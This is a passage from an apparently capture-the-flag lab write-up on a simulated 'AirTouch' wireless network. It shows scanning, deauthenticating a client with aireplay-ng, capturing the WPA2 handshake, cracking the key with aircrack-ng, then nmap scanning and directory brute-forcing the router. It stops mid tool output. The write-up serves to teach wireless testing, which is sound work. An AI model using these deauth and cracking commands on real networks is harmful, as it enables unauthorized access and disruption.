</span></code></pre></div></div>

<p>eth0 has the IP 172.20.1.2/24, which matches what Consultant Laptop has in the diagram.</p>

<p><code class="language-plaintext highlighter-rouge">eth0@if29</code> means this is a veth (virtual ethernet) pair, so this is one end of a virtual network cable. “eth0” is the interface name inside this container, and “@if29” says that the other end of the veth pair is interface index 29 on the host. This confirms this shell is inside a container (Docker/LXC).</p>

<p>The seven wireless interfaces are all down.</p>

<p>I’ll bring up one of the wireless interfaces and scan for visible access points:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>ip <span class="nb">link set </span>wlan0 up
<span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>iwlist wlan0 scan
<span class="go">wlan0     Scan completed :
          Cell 01 - Address: 8A:68:3A:D6:EB:29
                    Channel:1
                    Frequency:2.412 GHz (Channel 1)
                    Quality=70/70  Signal level=-30 dBm
                    Encryption key:on
                    ESSID:"vodafoneFB6N"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 12 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00064f3104f435a4
                    Extra: Last beacon: 76ms ago
                    IE: Unknown: 000C766F6461666F6E654642364E
                    IE: Unknown: 010882848B960C121824
                    IE: Unknown: 030101
                    IE: Unknown: 2A0104
                    IE: Unknown: 32043048606C
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 3B025100
                    IE: Unknown: 7F080400400200000040
          Cell 02 - Address: 3E:16:E6:E4:3C:72
                    Channel:3
                    Frequency:2.422 GHz (Channel 3)
                    Quality=70/70  Signal level=-30 dBm
                    Encryption key:on
                    ESSID:"MOVISTAR_FG68"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 12 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00064f3104f62a6f
                    Extra: Last beacon: 76ms ago
                    IE: Unknown: 000D4D4F5649535441525F46473638
                    IE: Unknown: 010882848B960C121824
                    IE: Unknown: 030103
                    IE: Unknown: 2A0104
                    IE: Unknown: 32043048606C
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 3B025100
                    IE: Unknown: 7F080400400200000040
          Cell 03 - Address: 92:52:98:67:66:19
                    Channel:6
                    Frequency:2.437 GHz (Channel 6)
                    Quality=70/70  Signal level=-30 dBm
                    Encryption key:on
                    ESSID:"WIFI-JOHN"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 12 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00064f3104f927f1
                    Extra: Last beacon: 76ms ago
                    IE: Unknown: 0009574946492D4A4F484E
                    IE: Unknown: 010882848B960C121824
                    IE: Unknown: 030106
                    IE: Unknown: 2A0104
                    IE: Unknown: 32043048606C
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 3B025100
                    IE: Unknown: 7F080400400200000040
          Cell 04 - Address: F0:9F:C2:A3:F1:A7
                    Channel:6
                    Frequency:2.437 GHz (Channel 6)
                    Quality=70/70  Signal level=-30 dBm
                    Encryption key:on
                    ESSID:"AirTouch-Internet"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 12 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00064f3104f92ec5
                    Extra: Last beacon: 76ms ago
                    IE: Unknown: 0011416972546F7563682D496E7465726E6574
                    IE: Unknown: 010882848B960C121824
                    IE: Unknown: 030106
                    IE: Unknown: 2A0104
                    IE: Unknown: 32043048606C
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 3B025100
                    IE: Unknown: 7F080400400200000040
          Cell 05 - Address: F2:2A:26:A4:0B:29
                    Channel:9
                    Frequency:2.452 GHz (Channel 9)
                    Quality=70/70  Signal level=-30 dBm
                    Encryption key:on
                    ESSID:"MiFibra-24-D4VY"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 12 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00064f3104fc154d
                    Extra: Last beacon: 76ms ago
                    IE: Unknown: 000F4D6946696272612D32342D44345659
                    IE: Unknown: 010882848B960C121824
                    IE: Unknown: 030109
                    IE: Unknown: 2A0104
                    IE: Unknown: 32043048606C
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 3B025100
                    IE: Unknown: 7F080400400200000040
          Cell 06 - Address: AC:8B:A9:AA:3F:D2
                    Channel:44
                    Frequency:5.22 GHz (Channel 44)
                    Quality=70/70  Signal level=-30 dBm
                    Encryption key:on
                    ESSID:"AirTouch-Office"
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
                              36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00064f310502ea81
                    Extra: Last beacon: 76ms ago
                    IE: Unknown: 000F416972546F7563682D4F6666696365
                    IE: Unknown: 01088C129824B048606C
                    IE: Unknown: 03012C
                    IE: Unknown: 070A45532024041795060D00
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : 802.1x
                    IE: Unknown: 3B027300
                    IE: Unknown: 7F080400400200000040
                    IE: Unknown: DD180050F2020101010003A4000027F7000043FF5E0067FF2F00
          Cell 07 - Address: AC:8B:A9:F3:A1:13
                    Channel:44
                    Frequency:5.22 GHz (Channel 44)
                    Quality=70/70  Signal level=-30 dBm
                    Encryption key:on
                    ESSID:"AirTouch-Office"
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
                              36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00064f310502eac0
                    Extra: Last beacon: 76ms ago
                    IE: Unknown: 000F416972546F7563682D4F6666696365
                    IE: Unknown: 01088C129824B048606C
                    IE: Unknown: 03012C
                    IE: Unknown: 070A45532024041795060D00
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : 802.1x
                    IE: Unknown: 3B027300
                    IE: Unknown: 7F080400400200000040
                    IE: Unknown: DD180050F2020101010003A4000027F7000043FF5E0067FF2F00
</span></code></pre></div></div>

<p>It finds seven! I’ll use <code class="language-plaintext highlighter-rouge">grep</code> to get a nicer list:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:/#</span><span class="w"> </span>iwlist wlan0 scan | <span class="nb">grep</span> <span class="nt">-e</span> ESSID <span class="nt">-e</span> Frequency <span class="nt">-e</span> Address
<span class="go">          Cell 01 - Address: 8A:68:3A:D6:EB:29
                    Frequency:2.412 GHz (Channel 1)
                    ESSID:"vodafoneFB6N"
          Cell 02 - Address: 3E:16:E6:E4:3C:72
                    Frequency:2.422 GHz (Channel 3)
                    ESSID:"MOVISTAR_FG68"
          Cell 03 - Address: 92:52:98:67:66:19
                    Frequency:2.437 GHz (Channel 6)
                    ESSID:"WIFI-JOHN"
          Cell 04 - Address: F0:9F:C2:A3:F1:A7
                    Frequency:2.437 GHz (Channel 6)
                    ESSID:"AirTouch-Internet"
          Cell 05 - Address: F2:2A:26:A4:0B:29
                    Frequency:2.452 GHz (Channel 9)
                    ESSID:"MiFibra-24-D4VY"
          Cell 06 - Address: AC:8B:A9:AA:3F:D2
                    Frequency:5.22 GHz (Channel 44)
                    ESSID:"AirTouch-Office"
          Cell 07 - Address: AC:8B:A9:F3:A1:13
                    Frequency:5.22 GHz (Channel 44)
                    ESSID:"AirTouch-Office"
</span></code></pre></div></div>

<p>4 is AirTouch-Internet, and 6 and 7 are APs for AirTouch-Office. The rest seem to be out of scope.</p>

<h3 id="wifi-monitoring">WiFi Monitoring</h3>

<p>The <a href="https://www.aircrack-ng.org/">aircrack-ng</a> tools are installed on the host as well. I’ll use <code class="language-plaintext highlighter-rouge">airmon-ng</code> to put the wlan0 interface into monitor mode:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:/#</span><span class="w"> </span>airmon-ng start wlan0
<span class="go">Your kernel has module support but you don't have modprobe installed.
It is highly recommended to install modprobe (typically from kmod).
Your kernel has module support but you don't have modinfo installed.
It is highly recommended to install modinfo (typically from kmod).
Warning: driver detection without modinfo may yield inaccurate results.


PHY     Interface       Driver          Chipset

phy0    wlan0           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)
phy1    wlan1           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy2    wlan2           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy3    wlan3           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy4    wlan4           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy5    wlan5           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy6    wlan6           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
</span></code></pre></div></div>

<p>This enabled that interface to passively listen to all wireless traffic on nearby channels, not just stuff addressed to this host.</p>

<p>I’ll run <code class="language-plaintext highlighter-rouge">airodump-ng wlan0mon -band abg</code> to start capturing traffic. By default, it only captures on 2.4 GHz channels. <code class="language-plaintext highlighter-rouge">--band abg</code> tells it to capture on 802.11a (5 GHz), 802.11b (2.4 GHz), and 802.11g (2.4 GHz).</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go"> CH  4 ][ Elapsed: 1 min ][ 2026-04-12 01:04                       

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 AC:8B:A9:F3:A1:13  -28       79        1    0  44   54e  WPA2 CCMP   MGT  AirTouch-Office
 AC:8B:A9:AA:3F:D2  -28       79        1    0  44   54e  WPA2 CCMP   MGT  AirTouch-Office
 F0:9F:C2:A3:F1:A7  -28       41        0    0   6   54        CCMP   PSK  AirTouch-Internet
 5E:C1:55:84:B8:82  -28       41        0    0   6   54        CCMP   PSK  WIFI-JOHN
 EE:A4:41:B9:58:7B  -28       39        0    0   9   54   WPA2 CCMP   PSK  MiFibra-24-D4VY
 26:64:F9:22:5C:4C  -28       78        0    0   3   54        CCMP   PSK  MOVISTAR_FG68
 AE:E8:96:04:55:48  -28     2330        0    0   1   54        TKIP   PSK  vodafoneFB6N

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 AC:8B:A9:AA:3F:D2  28:6C:07:12:EE:F3  -29    0 - 1      0       12         AirTouch-Office
 AC:8B:A9:AA:3F:D2  C8:8A:9A:6F:F9:D2  -29    0 - 1e     0       19         AccessLink,AirTouch-Office
 (not associated)   28:6C:07:12:EE:A1  -29    0 - 1      4       12         AirTouch-Office
</span></code></pre></div></div>

<p>The top section shows the visible APs. There are six broadcasting SSIDs across seven access points, four using CCMP cipher with PSK auth, AirTouch-Office using CCMP cipher with MGT auth, and one using TKIP with PSK auth. The relevant ones are <code class="language-plaintext highlighter-rouge">AirTouch-Internet</code> (the tablets VLAN) on channel 6, and <code class="language-plaintext highlighter-rouge">AirTouch-Office</code> on channel 44. The others (<code class="language-plaintext highlighter-rouge">WIFI-JOHN</code>, <code class="language-plaintext highlighter-rouge">MiFibra-24-D4VY</code>, <code class="language-plaintext highlighter-rouge">MOVISTAR_FG68</code>, <code class="language-plaintext highlighter-rouge">vodafoneFB6N</code>) appear to be neighboring networks not part of this environment. The <code class="language-plaintext highlighter-rouge">AirTouch-Internet</code> access point has a MAC in the Ubiquiti range (F0:9F:C2).</p>

<p>It’s not important at this point, but <code class="language-plaintext highlighter-rouge">AirTouch-Office</code> doesn’t show up if I don’t scan the 5 GHz bands (channels 36, 40, 44, 48, etc).</p>

<p>The bottom section shows clients. One client (<code class="language-plaintext highlighter-rouge">28:6C:07:FE:A3:22</code>) is associated to <code class="language-plaintext highlighter-rouge">AirTouch-Internet</code>. Three other clients are not associated and are sending probe requests for <code class="language-plaintext highlighter-rouge">AirTouch-Office</code>. One of the clients (<code class="language-plaintext highlighter-rouge">C8:8A:9A:6F:F9:D2</code>) is also probing for <code class="language-plaintext highlighter-rouge">AccessLink</code>.</p>

<h3 id="recover-password">Recover Password</h3>

<h4 id="strategy">Strategy</h4>

<p>There are two possible attack paths from here:</p>

<ol>
  <li>Evil twin for AirTouch-Office - Three clients are actively probing for an AP that doesn’t exist, which seems like an ideal setup for an evil twin. However, initial attempts failed:
    <ul>
      <li>A WPA2-Enterprise (EAP) evil twin using <code class="language-plaintext highlighter-rouge">eaphammer</code> got zero connection attempts. This suggests the clients are not configured for EAP.</li>
      <li>A WPA2-PSK evil twin using <code class="language-plaintext highlighter-rouge">hostapd-eaphammer</code> also got no connections. The clients may expect open auth, or there may be interference from <code class="language-plaintext highlighter-rouge">wlan0mon</code> channel-hopping on the same simulated radio while the rogue AP tries to serve on channel 6.</li>
      <li>Since AirTouch-Office isn’t broadcasting, we don’t know its actual auth type, which makes it hard to match what the clients expect.</li>
    </ul>
  </li>
  <li>Crack AirTouch-Internet - This AP is visible, broadcasting on channel 6, using WPA2-CCMP PSK, and has an active client (<code class="language-plaintext highlighter-rouge">28:6C:07:FE:A3:22</code>). The attack is straightforward: deauth the client, capture the WPA2 4-way handshake when it reconnects, and crack the PSK offline. This gets us onto the Tablets VLAN.</li>
</ol>

<p>I’ll come back to Evil Twin later, but for now I’ll focus on AirTouch-Internet.</p>

<h4 id="capture-authentication">Capture Authentication</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">airodump-ng wlan0mon --channel 6 --bssid F0:9F:C2:A3:F1:A7 -w /tmp/airtouch_capture</code> to drop into a collection state. In another terminal, I’ll use <code class="language-plaintext highlighter-rouge">aireplay-ng</code> to deauth the connected client:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>aireplay-ng <span class="nt">--deauth</span> 5 <span class="nt">-a</span> F0:9F:C2:A3:F1:A7 <span class="nt">-c</span> 28:6C:07:FE:A3:22 wlan0mon
<span class="go">01:55:47  Waiting for beacon frame (BSSID: F0:9F:C2:A3:F1:A7) on channel 6
01:55:47  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
01:55:48  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
01:55:48  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
01:55:49  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
01:55:49  Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
</span></code></pre></div></div>

<p>It sends five bursts (from <code class="language-plaintext highlighter-rouge">--deauth 5</code>) of 64 deauth frames.</p>

<p>Now I can Ctrl-c the capture. In <code class="language-plaintext highlighter-rouge">/tmp</code> there’s a bunch of files related:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /tmp/airtouch_capture-01.<span class="k">*</span>
<span class="go">-rw-r--r-- 1 root root  64933 Apr 12 01:56 /tmp/airtouch_capture-01.cap
-rw-r--r-- 1 root root    488 Apr 12 01:56 /tmp/airtouch_capture-01.csv
-rw-r--r-- 1 root root    596 Apr 12 01:56 /tmp/airtouch_capture-01.kismet.csv
-rw-r--r-- 1 root root   2707 Apr 12 01:56 /tmp/airtouch_capture-01.kismet.netxml
-rw-r--r-- 1 root root 253952 Apr 12 01:56 /tmp/airtouch_capture-01.log.csv
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">.cap</code> file is several KB, which means it has more than empty headers.</p>

<h4 id="crack">Crack</h4>

<p>I’ll <code class="language-plaintext highlighter-rouge">scp</code> the capture back to my host:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> RxBlZhLmOkacNWScmZ6D scp consultant@10.129.244.98:/tmp/airtouch_capture-01.cap <span class="nb">.</span>
</code></pre></div></div>

<p>And use <code class="language-plaintext highlighter-rouge">aircrack-ng</code> with <code class="language-plaintext highlighter-rouge">rockyou.txt</code> to crack the PSK:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>aircrack-ng <span class="nt">-w</span> /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt  ./airtouch_capture-01.cap
<span class="go">Reading packets, please wait...
Opening ./airtouch_capture-01.cap
Read 1349 packets.

</span><span class="c">   #  BSSID              ESSID                     Encryption
</span><span class="go">
   1  F0:9F:C2:A3:F1:A7  AirTouch-Internet         WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening ./airtouch_capture-01.cap
Read 1349 packets.

1 potential targets

                               Aircrack-ng 1.7

      [00:00:01] 21658/10303727 keys tested (35960.70 k/s)

      Time left: 4 minutes, 45 seconds                           0.21%

                           KEY FOUND! [ challenge ]


      Master Key     : D1 FF 70 2D CB 11 82 EE C9 E1 89 E1 69 35 55 A0
                       07 DC 1B 21 BE 35 8E 02 B8 75 74 49 7D CF 01 7E

      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

      EAPOL HMAC     : 7F 7F E6 5F 60 0B 9C 6B D8 C4 B8 86 AC 2F 88 F4
</span></code></pre></div></div>

<p>The password for AirTouch-Internet is “challenge”.</p>

<h3 id="connect">Connect</h3>

<p>With the password and wireless interfaces, I’ll connect to AirTouch-Internet. <code class="language-plaintext highlighter-rouge">wpa_passphrase</code> will create the config:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~# </span>wpa_passphrase AirTouch-Internet <span class="s1">'challenge'</span> <span class="o">&gt;</span> /tmp/airtouch-internet.conf
<span class="gp">root@AirTouch-Consultant:~# </span><span class="nb">cat</span> /tmp/airtouch-internet.conf
<span class="go">network={
        ssid="AirTouch-Internet"
</span><span class="c">        #psk="challenge"
</span><span class="go">        psk=d1ff702dcb1182eec9e189e1693555a007dc1b21be358e02b87574497dcf017e
}
</span></code></pre></div></div>

<p>Then <code class="language-plaintext highlighter-rouge">wpa_supplicant</code> will connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>wpa_supplicant <span class="nt">-B</span> <span class="nt">-i</span> wlan2 <span class="nt">-c</span> /tmp/airtouch-internet.conf
<span class="go">Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
</span></code></pre></div></div>

<p>I’m using <code class="language-plaintext highlighter-rouge">wlan2</code> because it’s clean, I haven’t messed with it yet. This brings up the interface, but it doesn’t have an IP yet:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>ip addr show wlan2
<span class="go">9: wlan2: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::ff:fe00:200/64 scope link 
       valid_lft forever preferred_lft forever
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dhclient</code> will kick-off the DHCP process to get one:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>dhclient <span class="nt">-v</span> wlan2
<span class="go">Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/wlan2/02:00:00:00:02:00
Sending on   LPF/wlan2/02:00:00:00:02:00
Sending on   Socket/fallback
DHCPDISCOVER on wlan2 to 255.255.255.255 port 67 interval 3 (xid=0xadc90477)
DHCPOFFER of 192.168.3.84 from 192.168.3.1
DHCPREQUEST for 192.168.3.84 on wlan2 to 255.255.255.255 port 67 (xid=0x7704c9ad)
DHCPACK of 192.168.3.84 from 192.168.3.1 (xid=0xadc90477)
bound to 192.168.3.84 -- renewal in 36119 seconds.
</span><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>ip addr show wlan2
<span class="go">9: wlan2: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.84/24 brd 192.168.3.255 scope global dynamic wlan2
       valid_lft 86165sec preferred_lft 86165sec
    inet6 fe80::ff:fe00:200/64 scope link 
       valid_lft forever preferred_lft forever
</span></code></pre></div></div>

<p>I’ve got an IP address on AirTouch-Internet as 192.168.3.84, which is in the expected range based on the diagram. On a reset this IP will likely be different, but in the same subnet.</p>

<h2 id="shell-as-www-dataairtouch-ap-psk">Shell as www-data@AirTouch-AP-PSK</h2>

<h3 id="network-enumeration">Network Enumeration</h3>

<p>Unfortunately, <code class="language-plaintext highlighter-rouge">ping</code> is not installed on the consultant laptop, but <code class="language-plaintext highlighter-rouge">nmap</code> is. I’ll run with the default top ports over the entire class-C network:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>nmap 192.168.3.0/24
<span class="go">Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-12 11:44 UTC
Nmap scan report for 192.168.3.1
Host is up (0.000038s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http
MAC Address: F0:9F:C2:A3:F1:A7 (Ubiquiti Networks)

Nmap scan report for 192.168.3.84
Host is up (0.000010s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (2 hosts up) scanned in 26.27 seconds
</span></code></pre></div></div>

<p>I’ll get a more complete scan on 192.168.3.1:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span> 10000 192.168.3.1
<span class="go">Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-12 11:53 UTC
Nmap scan report for 192.168.3.1
Host is up (0.000015s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http
MAC Address: F0:9F:C2:A3:F1:A7 (Ubiquiti Networks)

Nmap done: 1 IP address (1 host up) scanned in 14.44 seconds
</span><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>nmap <span class="nt">-p</span> 22,53,80 <span class="nt">-sCV</span> 192.168.3.1
<span class="go">Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-12 11:54 UTC
Nmap scan report for 192.168.3.1
Host is up (0.00015s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  dnsmasq 2.90
| dns-nsid: 
|_  bind.version: dnsmasq-2.90
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: WiFi Router Configuration
|_Requested resource was login.php
MAC Address: F0:9F:C2:A3:F1:A7 (Ubiquiti Networks)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.25 seconds
</span></code></pre></div></div>

<p>I’ll get a tunnel through to this machine reconnecting <code class="language-plaintext highlighter-rouge">ssh</code> with <code class="language-plaintext highlighter-rouge">-D 1080</code>. I like to configure Burp so that I can have my browser send through Burp and then Burp through the SSH proxy:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412081238399.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412081238399.png" alt="image-20260412081238399" class="include_image " />
</picture>

<p>I’ll just want to reset this when I’m done.</p>

<h3 id="psk-router----tcp-80">PSK Router -  TCP 80</h3>

<h4 id="site">Site</h4>

<p>The website on port 80 redirects to <code class="language-plaintext highlighter-rouge">/login.php</code>, which presents a login form:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412081647913.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412081647913.png" alt="image-20260412081647913" class="include_image " />
</picture>

<p>Any credentials I guess return an error:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412081621495.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412081621495.png" alt="image-20260412081621495" class="include_image " />
</picture>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers show that the page is hosted by Apache:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">302</span> <span class="ne">Found</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sun, 12 Apr 2026 12:18:45 GMT</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Apache/2.4.41 (Ubuntu)</span>
<span class="na">Expires</span><span class="p">:</span> <span class="s">Thu, 19 Nov 1981 08:52:00 GMT</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-store, no-cache, must-revalidate</span>
<span class="na">Pragma</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">location</span><span class="p">:</span> <span class="s">login.php</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">0</span>
<span class="na">Keep-Alive</span><span class="p">:</span> <span class="s">timeout=5, max=100</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">Keep-Alive</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>
</code></pre></div></div>

<p>The 404 page is the <a href="/cheatsheets/404#apache--httpd">default Apache 404</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412081937904.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260412081937904.png" alt="image-20260412081937904" class="include_image " />
</picture>

<p>Clearly the site is PHP based on the file extension.</p>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>I’ll use <code class="language-plaintext highlighter-rouge">feroxbuster</code> with the <code class="language-plaintext highlighter-rouge">--proxy</code> option to brute force paths on this webserver:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://192.168.3.1 <span class="nt">-x</span> php <span class="nt">--proxy</span> socks5://127.0.0.1:1080
<span class="go">
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.3.1
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
